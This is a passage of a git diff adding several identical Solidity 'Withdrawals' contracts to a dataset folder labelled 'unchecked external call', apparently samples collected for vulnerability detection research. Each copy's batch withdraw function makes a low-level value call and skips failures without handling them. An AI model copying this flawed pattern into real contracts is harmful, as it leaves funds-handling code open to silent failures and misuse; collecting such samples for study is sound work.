+ * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43121.sol b/smart_contract_dataset/unchecked external call/43121.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43121.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43123.sol b/smart_contract_dataset/unchecked external call/43123.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43123.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43330.sol b/smart_contract_dataset/unchecked external call/43330.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43330.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43334.sol b/smart_contract_dataset/unchecked external call/43334.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43334.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43369.sol b/smart_contract_dataset/unchecked external call/43369.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43369.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43379.sol b/smart_contract_dataset/unchecked external call/43379.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43379.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43387.sol b/smart_contract_dataset/unchecked external call/43387.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43387.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title 